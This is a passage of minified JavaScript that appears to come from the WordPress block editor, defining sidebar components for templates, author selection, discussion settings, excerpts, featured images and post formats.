0,role:r,children:!o&amp;&amp;s}):null});function fu(e){const t=(0,aa.usePluginContext)();return(0,c.jsx)(Na,{name:&quot;core/plugin-more-menu&quot;,as:e.as??Hn.MenuItem,icon:e.icon||t.icon,...e})}const{Fill:bu,Slot:yu}=(0,Hn.createSlotFill)(&quot;PluginPostPublishPanel&quot;),xu=({children:e,className:t,title:s,initialOpen:n=!1,icon:o})=&gt;{const{icon:r}=(0,aa.usePluginContext)();return(0,c.jsx)(bu,{children:(0,c.jsx)(Hn.PanelBody,{className:t,initialOpen:n||!s,title:s,icon:o??r,children:e})})};xu.Slot=yu;var vu=xu;const{Fill:wu,Slot:Su}=(0,Hn.createSlotFill)(&quot;PluginPostStatusInfo&quot;),ku=({children:e,className:t})=&gt;(0,c.jsx)(wu,{children:(0,c.jsx)(Hn.PanelRow,{className:t,children:e})});ku.Slot=Su;var Cu=ku;const{Fill:Pu,Slot:ju}=(0,Hn.createSlotFill)(&quot;PluginPrePublishPanel&quot;),Eu=({children:e,className:t,title:s,initialOpen:n=!1,icon:o})=&gt;{const{icon:r}=(0,aa.usePluginContext)();return(0,c.jsx)(Pu,{children:(0,c.jsx)(Hn.PanelBody,{className:t,initialOpen:n||!s,title:s,icon:o??r,children:e})})};Eu.Slot=ju;var Tu=Eu;function Iu(e){const t=(0,aa.usePluginContext)();return(0,c.jsx)(Na,{name:&quot;core/plugin-preview-menu&quot;,as:e.as??Hn.MenuItem,icon:e.icon||t.icon,...e})}function Bu({className:e,...t}){return(0,c.jsx)(Va,{panelClassName:e,className:&quot;editor-sidebar&quot;,scope:&quot;core&quot;,...t})}function Nu(e){return(0,c.jsx)(Da,{__unstableExplicitMenuItem:!0,scope:&quot;core&quot;,...e})}function Ru(e=&quot;&quot;){return e=(e=Mr()(e)).trim().toLowerCase()}function Du(e,t){const s=Ru(t),n=Ru(e.title);let o=0;if(s===n)o+=30;else if(n.startsWith(s))o+=20;else{s.split(&quot; &quot;).every((e=&gt;n.includes(e)))&amp;&amp;(o+=10)}return o}function Au({onClick:e}){const[t,s]=(0,p.useState)(!1),{postType:n,postId:o}=Kd(),r=Jd(n),{editEntityRecord:i}=(0,d.useDispatch)(u.store);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.MenuItem,{disabled:!r?.length,accessibleWhenDisabled:!0,onClick:()=&gt;s(!0),children:(0,fs.__)(&quot;Change template&quot;)}),t&amp;&amp;(0,c.jsx)(Hn.Modal,{title:(0,fs.__)(&quot;Choose a template&quot;),onRequestClose:()=&gt;s(!1),overlayClassName:&quot;editor-post-template__swap-template-modal&quot;,isFullScreen:!0,children:(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-template__swap-template-modal-content&quot;,children:(0,c.jsx)(Mu,{postType:n,onSelect:async t=&gt;{i(&quot;postType&quot;,n,o,{template:t.name},{undoIgnore:!0}),s(!1),e()}})})})]})}function Mu({postType:e,onSelect:t}){const[s,n]=(0,p.useState)(&quot;&quot;),o=Jd(e),r=(0,p.useMemo)((()=&gt;o.map((e=&gt;({name:e.slug,blocks:(0,x.parse)(e.content.raw),title:(0,Ln.decodeEntities)(e.title.rendered),id:e.id})))),[o]),i=(0,p.useMemo)((()=&gt;function(e=[],t=&quot;&quot;){if(!t)return e;const s=e.map((e=&gt;[e,Du(e,t)])).filter((([,e])=&gt;e&gt;0));return s.sort((([,e],[,t])=&gt;t-e)),s.map((([e])=&gt;e))}(r,s)),[r,s]);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.SearchControl,{__nextHasNoMarginBottom:!0,onChange:n,value:s,label:(0,fs.__)(&quot;Search&quot;),placeholder:(0,fs.__)(&quot;Search&quot;),className:&quot;editor-post-template__swap-template-search&quot;}),(0,c.jsx)(g.__experimentalBlockPatternsList,{label:(0,fs.__)(&quot;Templates&quot;),blockPatterns:i,onClickPattern:t})]})}function Lu({onClick:e}){const t=eu(),s=Qd(),{postType:n,postId:o}=Kd(),{editEntityRecord:r}=(0,d.useDispatch)(u.store);return t&amp;&amp;s?(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{r(&quot;postType&quot;,n,o,{template:&quot;&quot;},{undoIgnore:!0}),e()},children:(0,fs.__)(&quot;Use default template&quot;)}):null}function Ou(){const{canCreateTemplates:e}=(0,d.useSelect)((e=&gt;{const{canUser:t}=e(u.store);return{canCreateTemplates:t(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})}}),[]),[t,s]=(0,p.useState)(!1),n=Qd();return e&amp;&amp;n?(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{s(!0)},children:(0,fs.__)(&quot;Create new template&quot;)}),t&amp;&amp;(0,c.jsx)(qd,{onClose:()=&gt;{s(!1)}})]}):null}function Fu({id:e}){const{isTemplateHidden:t,onNavigateToEntityRecord:s,getEditorSettings:n,hasGoBack:o}=(0,d.useSelect)((e=&gt;{const{getRenderingMode:t,getEditorSettings:s}=$(e(vc)),n=s();return{isTemplateHidden:&quot;post-only&quot;===t(),onNavigateToEntityRecord:n.onNavigateToEntityRecord,getEditorSettings:s,hasGoBack:n.hasOwnProperty(&quot;onNavigateToPreviousEntityRecord&quot;)}}),[]),{get:r}=(0,d.useSelect)(C.store),{editedRecord:i,hasResolved:a}=(0,u.useEntityRecord)(&quot;postType&quot;,&quot;wp_template&quot;,e),{createSuccessNotice:l}=(0,d.useDispatch)(_s.store),{setRenderingMode:m,setDefaultRenderingMode:h}=$((0,d.useDispatch)(vc)),g=(0,d.useSelect)((e=&gt;!!e(u.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})),[]),[_,f]=(0,p.useState)(null),b=(0,p.useMemo)((()=&gt;({anchor:_,className:&quot;editor-post-template__dropdown&quot;,placement:&quot;left-start&quot;,offset:36,shift:!0})),[_]);if(!a)return null;const y=o?[{label:(0,fs.__)(&quot;Go back&quot;),onClick:()=&gt;n().onNavigateToPreviousEntityRecord()}]:void 0;return(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Template&quot;),ref:f,children:(0,c.jsx)(Hn.DropdownMenu,{popoverProps:b,focusOnMount:!0,toggleProps:{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,tooltipPosition:&quot;middle left&quot;},label:(0,fs.__)(&quot;Template options&quot;),text:(0,Ln.decodeEntities)(i.title),icon:null,children:({onClose:e})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(Hn.MenuGroup,{children:[g&amp;&amp;(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{s({postId:i.id,postType:&quot;wp_template&quot;}),e(),r(&quot;core/edit-site&quot;,&quot;welcomeGuideTemplate&quot;)||l((0,fs.__)(&quot;Editing template. Changes made here affect all posts and pages that use the template.&quot;),{type:&quot;snackbar&quot;,actions:y})},children:(0,fs.__)(&quot;Edit template&quot;)}),(0,c.jsx)(Au,{onClick:e}),(0,c.jsx)(Lu,{onClick:e}),g&amp;&amp;(0,c.jsx)(Ou,{})]}),(0,c.jsx)(Hn.MenuGroup,{children:(0,c.jsx)(Hn.MenuItem,{icon:t?void 0:zn,isSelected:!t,role:&quot;menuitemcheckbox&quot;,onClick:()=&gt;{const e=t?&quot;template-locked&quot;:&quot;post-only&quot;;m(e),h(e)},children:(0,fs.__)(&quot;Show template&quot;)})})]})})})}function Vu(){const{templateId:e,isBlockTheme:t}=(0,d.useSelect)((e=&gt;{const{getCurrentTemplateId:t,getEditorSettings:s}=e(vc);return{templateId:t(),isBlockTheme:s().__unstableIsBlockBasedTheme}}),[]),s=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPostType(),s=e(u.store).getPostType(t);if(!s?.viewable)return!1;const n=e(vc).getEditorSettings();if(!!n.availableTemplates&amp;&amp;Object.keys(n.availableTemplates).length&gt;0)return!0;if(!n.supportsTemplateMode)return!1;return e(u.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})??!1}),[]),n=(0,d.useSelect)((e=&gt;!!s&amp;&amp;e(u.store).canUser(&quot;read&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})),[s]);return t&amp;&amp;n||!s?t&amp;&amp;e?(0,c.jsx)(Fu,{id:e}):null:(0,c.jsx)(nu,{})}const Uu={_fields:&quot;id,name&quot;,context:&quot;view&quot;},Hu={who:&quot;authors&quot;,per_page:100,...Uu};function zu(e){const{authorId:t,authors:s,postAuthor:n,isLoading:o}=(0,d.useSelect)((t=&gt;{const{getUser:s,getUsers:n,isResolving:o}=t(u.store),{getEditedPostAttribute:r}=t(vc),i=r(&quot;author&quot;),a={...Hu};return e&amp;&amp;(a.search=e,a.search_columns=[&quot;name&quot;]),{authorId:i,authors:n(a),postAuthor:s(i,Uu),isLoading:o(&quot;getUsers&quot;,[a])}}),[e]);return{authorId:t,authorOptions:(0,p.useMemo)((()=&gt;{const e=(s??[]).map((e=&gt;({value:e.id,label:(0,Ln.decodeEntities)(e.name)}))),t=e.findIndex((({value:e})=&gt;n?.id===e));let o=[];return t&lt;0&amp;&amp;n?o=[{value:n.id,label:(0,Ln.decodeEntities)(n.name)}]:t&lt;0&amp;&amp;!n&amp;&amp;(o=[{value:0,label:(0,fs.__)(&quot;(No author)&quot;)}]),[...o,...e]}),[s,n]),postAuthor:n,isLoading:o}}function Gu(){const[e,t]=(0,p.useState)(),{editPost:s}=(0,d.useDispatch)(vc),{authorId:n,authorOptions:o,isLoading:r}=zu(e);return(0,c.jsx)(Hn.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Author&quot;),options:o,value:n,onFilterValueChange:(0,m.debounce)(t,300),onChange:e=&gt;{e&amp;&amp;s({author:e})},allowReset:!1,hideLabelFromVision:!0,isLoading:r})}function $u(){const{editPost:e}=(0,d.useDispatch)(vc),{authorId:t,authorOptions:s}=zu();return(0,c.jsx)(Hn.SelectControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:&quot;post-author-selector&quot;,label:(0,fs.__)(&quot;Author&quot;),options:s,onChange:t=&gt;{const s=Number(t);e({author:s})},value:t,hideLabelFromVision:!0})}var Wu=function(){return(0,d.useSelect)((e=&gt;{const t=e(u.store).getUsers(Hu);return t?.length&gt;=25}),[])?(0,c.jsx)(Gu,{}):(0,c.jsx)($u,{})};function Zu({children:e}){const{hasAssignAuthorAction:t}=(0,d.useSelect)((e=&gt;{const t=e(vc).getCurrentPost();return{hasAssignAuthorAction:!!t?._links?.[&quot;wp:action-assign-author&quot;]}}),[]);return t?(0,c.jsx)(Id,{supportKeys:&quot;author&quot;,children:e}):null}function Yu({isOpen:e,onClick:t}){const{postAuthor:s}=(0,d.useSelect)((e=&gt;{const t=e(vc).getEditedPostAttribute(&quot;author&quot;);return{postAuthor:e(u.store).getUser(t,Uu)}}),[]),n=(0,Ln.decodeEntities)(s?.name)||(0,fs.__)(&quot;(No author)&quot;);return(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,className:&quot;editor-post-author__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change author: %s&quot;),n),onClick:t,children:n})}var qu=function(){const[e,t]=(0,p.useState)(null),s=(0,p.useMemo)((()=&gt;({anchor:e,placement:&quot;left-start&quot;,offset:36,shift:!0})),[e]);return(0,c.jsx)(Zu,{children:(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Author&quot;),ref:t,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:s,contentClassName:&quot;editor-post-author__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,c.jsx)(Yu,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-author&quot;,children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Author&quot;),onClose:e}),(0,c.jsx)(Wu,{onClose:e})]})})})})};const Ku=[{label:(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;),value:&quot;open&quot;,description:(0,fs.__)(&quot;Visitors can add new comments and replies.&quot;)},{label:(0,fs.__)(&quot;Closed&quot;),value:&quot;closed&quot;,description:[(0,fs.__)(&quot;Visitors cannot add new comments or replies.&quot;),(0,fs.__)(&quot;Existing comments remain visible.&quot;)].join(&quot; &quot;)}];var Qu=function(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;comment_status&quot;)??&quot;open&quot;),[]),{editPost:t}=(0,d.useDispatch)(vc);return(0,c.jsx)(&quot;form&quot;,{children:(0,c.jsx)(Hn.__experimentalVStack,{spacing:4,children:(0,c.jsx)(Hn.RadioControl,{className:&quot;editor-change-status__options&quot;,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Comment status&quot;),options:Ku,onChange:e=&gt;t({comment_status:e}),selected:e})})})};var Xu=function(){const e=(0,d.useSelect)((e=&gt;e(vc).getEditedPostAttribute(&quot;ping_status&quot;)??&quot;open&quot;),[]),{editPost:t}=(0,d.useDispatch)(vc);return(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Enable pingbacks &amp; trackbacks&quot;),checked:&quot;open&quot;===e,onChange:()=&gt;t({ping_status:&quot;open&quot;===e?&quot;closed&quot;:&quot;open&quot;}),help:(0,c.jsx)(Hn.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/trackbacks-and-pingbacks/&quot;),children:(0,fs.__)(&quot;Learn more about pingbacks &amp; trackbacks&quot;)})})};const Ju=&quot;discussion-panel&quot;;function ep({onClose:e}){return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-discussion&quot;,children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Discussion&quot;),onClose:e}),(0,c.jsxs)(Hn.__experimentalVStack,{spacing:4,children:[(0,c.jsx)(Id,{supportKeys:&quot;comments&quot;,children:(0,c.jsx)(Qu,{})}),(0,c.jsx)(Id,{supportKeys:&quot;trackbacks&quot;,children:(0,c.jsx)(Xu,{})})]})]})}function tp({isOpen:e,onClick:t}){const{commentStatus:s,pingStatus:n,commentsSupported:o,trackbacksSupported:r}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc),{getPostType:s}=e(u.store),n=s(t(&quot;type&quot;));return{commentStatus:t(&quot;comment_status&quot;)??&quot;open&quot;,pingStatus:t(&quot;ping_status&quot;)??&quot;open&quot;,commentsSupported:!!n.supports.comments,trackbacksSupported:!!n.supports.trackbacks}}),[]);let i;return i=&quot;open&quot;===s?&quot;open&quot;===n?(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;):r?(0,fs.__)(&quot;Comments only&quot;):(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;):&quot;open&quot;===n?o?(0,fs.__)(&quot;Pings only&quot;):(0,fs.__)(&quot;Pings enabled&quot;):(0,fs.__)(&quot;Closed&quot;),(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,className:&quot;editor-post-discussion__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-label&quot;:(0,fs.__)(&quot;Change discussion options&quot;),&quot;aria-expanded&quot;:e,onClick:t,children:i})}function sp(){const{isEnabled:e}=(0,d.useSelect)((e=&gt;{const{isEditorPanelEnabled:t}=e(vc);return{isEnabled:t(Ju)}}),[]),[t,s]=(0,p.useState)(null),n=(0,p.useMemo)((()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0})),[t]);return e?(0,c.jsx)(Id,{supportKeys:[&quot;comments&quot;,&quot;trackbacks&quot;],children:(0,c.jsx)(Rd,{label:(0,fs.__)(&quot;Discussion&quot;),ref:s,children:(0,c.jsx)(Hn.Dropdown,{popoverProps:n,className:&quot;editor-post-discussion__panel-dropdown&quot;,contentClassName:&quot;editor-post-discussion__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,c.jsx)(tp,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,c.jsx)(ep,{onClose:e})})})}):null}function np({hideLabelFromVision:e=!1,updateOnBlur:t=!1}){const{excerpt:s,shouldUseDescriptionLabel:n,usedAttribute:o}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getEditedPostAttribute:s}=e(vc),n=t(),o=[&quot;wp_template&quot;,&quot;wp_template_part&quot;].includes(n)?&quot;description&quot;:&quot;excerpt&quot;;return{excerpt:s(o),shouldUseDescriptionLabel:[&quot;wp_template&quot;,&quot;wp_template_part&quot;,&quot;wp_block&quot;].includes(n),usedAttribute:o}}),[]),{editPost:r}=(0,d.useDispatch)(vc),[i,a]=(0,p.useState)((0,Ln.decodeEntities)(s)),l=e=&gt;{r({[o]:e})},u=n?(0,fs.__)(&quot;Write a description (optional)&quot;):(0,fs.__)(&quot;Write an excerpt (optional)&quot;);return(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-post-excerpt&quot;,children:(0,c.jsx)(Hn.TextareaControl,{__nextHasNoMarginBottom:!0,label:u,hideLabelFromVision:e,className:&quot;editor-post-excerpt__textarea&quot;,onChange:t?a:l,onBlur:t?()=&gt;l(i):void 0,value:t?i:s,help:n?(0,fs.__)(&quot;Write a description&quot;):(0,c.jsx)(Hn.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#excerpt&quot;),children:(0,fs.__)(&quot;Learn more about manual excerpts&quot;)})})})}var op=function({children:e}){return(0,c.jsx)(Id,{supportKeys:&quot;excerpt&quot;,children:e})};const{Fill:rp,Slot:ip}=(0,Hn.createSlotFill)(&quot;PluginPostExcerpt&quot;),ap=({children:e,className:t})=&gt;(0,c.jsx)(rp,{children:(0,c.jsx)(Hn.PanelRow,{className:t,children:e})});ap.Slot=ip;var lp=ap;const cp=&quot;post-excerpt&quot;;function dp(){const{isOpened:e,isEnabled:t,postType:s}=(0,d.useSelect)((e=&gt;{const{isEditorPanelOpened:t,isEditorPanelEnabled:s,getCurrentPostType:n}=e(vc);return{isOpened:t(cp),isEnabled:s(cp),postType:n()}}),[]),{toggleEditorPanelOpened:n}=(0,d.useDispatch)(vc);if(!t)return null;const o=[&quot;wp_template&quot;,&quot;wp_template_part&quot;,&quot;wp_block&quot;].includes(s);return(0,c.jsx)(Hn.PanelBody,{title:o?(0,fs.__)(&quot;Description&quot;):(0,fs.__)(&quot;Excerpt&quot;),opened:e,onToggle:()=&gt;n(cp),children:(0,c.jsx)(lp.Slot,{children:e=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(np,{}),e]})})})}function up(){return(0,c.jsx)(op,{children:(0,c.jsx)(dp,{})})}function pp(){return(0,c.jsx)(op,{children:(0,c.jsx)(mp,{})})}function mp(){const{shouldRender:e,excerpt:t,shouldBeUsedAsDescription:s,allowEditing:n}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s,getEditedPostAttribute:n,isEditorPanelEnabled:o}=e(vc),r=t(),i=[&quot;wp_template&quot;,&quot;wp_template_part&quot;].includes(r),a=&quot;wp_block&quot;===r,l=i||a,c=n(i?&quot;description&quot;:&quot;excerpt&quot;),d=i&amp;&amp;e(u.store).getEntityRecord(&quot;postType&quot;,r,s()),p=o(cp)||l;return{excerpt:c,shouldRender:p,shouldBeUsedAsDescription:l,allowEditing:p&amp;&amp;(!l||a||d&amp;&amp;d.source===D&amp;&amp;!d.has_theme_file&amp;&amp;d.is_custom)}}),[]),[o,r]=(0,p.useState)(null),i=s?(0,fs.__)(&quot;Description&quot;):(0,fs.__)(&quot;Excerpt&quot;),a=(0,p.useMemo)((()=&gt;({anchor:o,&quot;aria-label&quot;:i,headerTitle:i,placement:&quot;left-start&quot;,offset:36,shift:!0})),[o,i]);if(!e)return!1;const l=!!t&amp;&amp;(0,c.jsx)(Hn.__experimentalText,{align:&quot;left&quot;,numberOfLines:4,truncate:n,children:(0,Ln.decodeEntities)(t)});if(!n)return l;const m=s?(0,fs.__)(&quot;Add a description…&quot;):(0,fs.__)(&quot;Add an excerpt…&quot;),h=s?(0,fs.__)(&quot;Edit description&quot;):(0,fs.__)(&quot;Edit excerpt&quot;);return(0,c.jsxs)(Hn.__experimentalVStack,{children:[l,(0,c.jsx)(Hn.Dropdown,{className:&quot;editor-post-excerpt__dropdown&quot;,contentClassName:&quot;editor-post-excerpt__dropdown__content&quot;,popoverProps:a,focusOnMount:!0,ref:r,renderToggle:({onToggle:e})=&gt;(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,onClick:e,variant:&quot;link&quot;,children:l?h:m}),renderContent:({onClose:e})=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(g.__experimentalInspectorPopoverHeader,{title:i,onClose:e}),(0,c.jsx)(Hn.__experimentalVStack,{spacing:4,children:(0,c.jsx)(lp.Slot,{children:e=&gt;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(np,{hideLabelFromVision:!0,updateOnBlur:!0}),e]})})})]})})]})}function hp({children:e,supportKeys:t}){const{postType:s,themeSupports:n}=(0,d.useSelect)((e=&gt;({postType:e(vc).getEditedPostAttribute(&quot;type&quot;),themeSupports:e(u.store).getThemeSupports()})),[]);return(Array.isArray(t)?t:[t]).some((e=&gt;{const t=n?.[e]??!1;return&quot;post-thumbnails&quot;===e&amp;&amp;Array.isArray(t)?t.includes(s):t}))?e:null}var gp=function({children:e}){return(0,c.jsx)(hp,{supportKeys:&quot;post-thumbnails&quot;,children:(0,c.jsx)(Id,{supportKeys:&quot;thumbnail&quot;,children:e})})};const _p=[&quot;image&quot;],fp=(0,fs.__)(&quot;Featured image&quot;),bp=(0,fs.__)(&quot;Add a featured image&quot;),yp=(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;To edit the featured image, you need permission to upload media.&quot;)});const xp=(0,d.withSelect)((e=&gt;{const{getEntityRecord:t,getPostType:s,hasFinishedResolution:n}=e(u.store),{getCurrentPostId:o,getEditedPostAttribute:r}=e(vc),i=r(&quot;featured_media&quot;);return{media:i?t(&quot;postType&quot;,&quot;attachment&quot;,i,{context:&quot;view&quot;}):null,currentPostId:o(),postType:s(r(&quot;type&quot;)),featuredImageId:i,isRequestingFeaturedImageMedia:!!i&amp;&amp;!n(&quot;getEntityRecord&quot;,[&quot;postType&quot;,&quot;attachment&quot;,i,{context:&quot;view&quot;}])}})),vp=(0,d.withDispatch)(((e,{noticeOperations:t},{select:s})=&gt;{const{editPost:n}=e(vc);return{onUpdateImage(e){n({featured_media:e.id})},onDropImage(e){s(g.store).getSettings().mediaUpload({allowedTypes:[&quot;image&quot;],filesList:e,onFileChange([e]){n({featured_media:e.id})},onError(e){t.removeAllNotices(),t.createErrorNotice(e)},multiple:!1})},onRemoveImage(){n({featured_media:0})}}}));var wp=(0,m.compose)(Hn.withNotices,xp,vp,(0,Hn.withFilters)(&quot;editor.PostFeaturedImage&quot;))((function({currentPostId:e,featuredImageId:t,onUpdateImage:s,onRemoveImage:n,media:o,postType:r,noticeUI:i,noticeOperations:a,isRequestingFeaturedImageMedia:l}){const u=(0,p.useRef)(!1),[m,_]=(0,p.useState)(!1),{getSettings:f}=(0,d.useSelect)(g.store),{mediaSourceUrl:b}=function(e,t){if(!e)return{};const s=(0,h.applyFilters)(&quot;editor.PostFeaturedImage.imageSize&quot;,&quot;large&quot;,e.id,t);if(s in(e?.media_details?.sizes??{}))return{mediaWidth:e.media_details.sizes[s].width,mediaHeight:e.media_details.sizes[s].height,mediaSourceUrl:e.media_details.sizes[s].source_url};const n=(0,h.applyFilters)(&quot;editor.PostFeaturedImage.imageSize&quot;,&quot;thumbnail&quot;,e.id,t);return n in(e?.media_details?.sizes??{})?{mediaWidth:e.media_details.sizes[n].width,mediaHeight:e.media_details.sizes[n].height,mediaSourceUrl:e.media_details.sizes[n].source_url}:{mediaWidth:e.media_details.width,mediaHeight:e.media_details.height,mediaSourceUrl:e.source_url}}(o,e);function y(e){f().mediaUpload({allowedTypes:_p,filesList:e,onFileChange([e]){(0,Go.isBlobURL)(e?.url)?_(!0):(e&amp;&amp;s(e),_(!1))},onError(e){a.removeAllNotices(),a.createErrorNotice(e)},multiple:!1})}function x(e){return e.alt_text?(0,fs.sprintf)((0,fs.__)(&quot;Current image: %s&quot;),e.alt_text):(0,fs.sprintf)((0,fs.__)(&quot;The current image has no alternative text. The file name is: %s&quot;),e.media_details.sizes?.full?.file||e.slug)}function v(e){u.current&amp;&amp;e&amp;&amp;(e.focus(),u.current=!1)}const w=!l&amp;&amp;!!t&amp;&amp;!o;return(0,c.jsxs)(gp,{children:[i,(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-featured-image&quot;,children:[o&amp;&amp;(0,c.jsx)(&quot;div&quot;,{id:`editor-post-featured-image-${t}-describedby`,className:&quot;hidden&quot;,children:x(o)}),(0,c.jsx)(g.MediaUploadCheck,{fallback:yp,children:(0,c.jsx)(g.MediaUpload,{title:r?.labels?.featured_image||fp,onSelect:s,unstableFeaturedImageFlow:!0,allowedTypes:_p,modalClass:&quot;editor-post-featured-image__media-modal&quot;,render:({open:e})=&gt;(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-post-featured-image__container&quot;,children:[w?(0,c.jsx)(Hn.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,fs.__)(&quot;Could not retrieve the featured image data.&quot;)}):(0,c.jsxs)(Hn.Button,{__next40pxDefaultSize:!0,ref:v,className:t?&quot;editor-post-featured-image__preview&quot;:&quot;editor-post-featured-image__toggle&quot;,onClick:e,&quot;aria-label&quot;:t?(0,fs.__)(&quot;Edit or replace the featured image&quot;):null,&quot;aria-describedby&quot;:t?`editor-post-featured-image-${t}-describedby`:null,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:m,accessibleWhenDisabled:!0,children:[!!t&amp;&amp;o&amp;&amp;(0,c.jsx)(&quot;img&quot;,{className:&quot;editor-post-featured-image__preview-image&quot;,src:b,alt:x(o)}),(m||l)&amp;&amp;(0,c.jsx)(Hn.Spinner,{}),!t&amp;&amp;!m&amp;&amp;(r?.labels?.set_featured_image||bp)]}),!!t&amp;&amp;(0,c.jsxs)(Hn.__experimentalHStack,{className:mr(&quot;editor-post-featured-image__actions&quot;,{&quot;editor-post-featured-image__actions-missing-image&quot;:w,&quot;editor-post-featured-image__actions-is-requesting-image&quot;:l}),children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-featured-image__action&quot;,onClick:e,&quot;aria-haspopup&quot;:&quot;dialog&quot;,variant:w?&quot;secondary&quot;:void 0,children:(0,fs.__)(&quot;Replace&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-featured-image__action&quot;,onClick:()=&gt;{n(),u.current=!0},variant:w?&quot;secondary&quot;:void 0,isDestructive:w,children:(0,fs.__)(&quot;Remove&quot;)})]}),(0,c.jsx)(Hn.DropZone,{onFilesDrop:y})]}),value:t})})]})]})}));const Sp=&quot;featured-image&quot;;function kp({withPanelBody:e=!0}){const{postType:t,isEnabled:s,isOpened:n}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t,isEditorPanelEnabled:s,isEditorPanelOpened:n}=e(vc),{getPostType:o}=e(u.store);return{postType:o(t(&quot;type&quot;)),isEnabled:s(Sp),isOpened:n(Sp)}}),[]),{toggleEditorPanelOpened:o}=(0,d.useDispatch)(vc);return s?e?(0,c.jsx)(gp,{children:(0,c.jsx)(Hn.PanelBody,{title:t?.labels?.featured_image??(0,fs.__)(&quot;Featured image&quot;),opened:n,onToggle:()=&gt;o(Sp),children:(0,c.jsx)(wp,{})})}):(0,c.jsx)(gp,{children:(0,c.jsx)(wp,{})}):null}function Cp({children:e}){return(0,d.useSelect)((e=&gt;e(vc).getEditorSettings().disablePostFormats),[])?null:(0,c.jsx)(Id,{supportKeys:&quot;post-formats&quot;,children:e})}const Pp=[{id:&quot;aside&quot;,caption:(0,fs.__)(&quot;Aside&quot;)},{id:&quot;audio&quot;,caption:(0,fs.__)(&quot;Audio&quot;)},{id:&quot;chat&quot;,caption:(0,fs.__)(&quot;Chat&quot;)},{id:&quot;gallery&quot;,caption:(0,fs.__)(&quot;Gallery&quot;)},{id:&quot;image&quot;,caption:(0,fs.__)(&quot;Image&quot;)},{id:&quot;link&quot;,caption:(0,fs.__)(&quot;Link&quot;)},{id:&quot;quote&quot;,caption:(0,fs.__)(&quot;Quote&quot;)},{id:&quot;standard&quot;,caption:(0,fs.__)(&quot;Standard&quot;)},{id:&quot;status&quot;,caption:(0,fs.__)(&quot;Status&quot;)},{id:&quot;video&quot;,caption:(0,fs.__)(&quot;Video&quot;)}].sort(((e,t)=&gt;{const s=e.caption.toUpperCase(),n=t.caption.toUpperCase();return s&lt;n?-1:s&gt;n?1:0}));function jp(){const 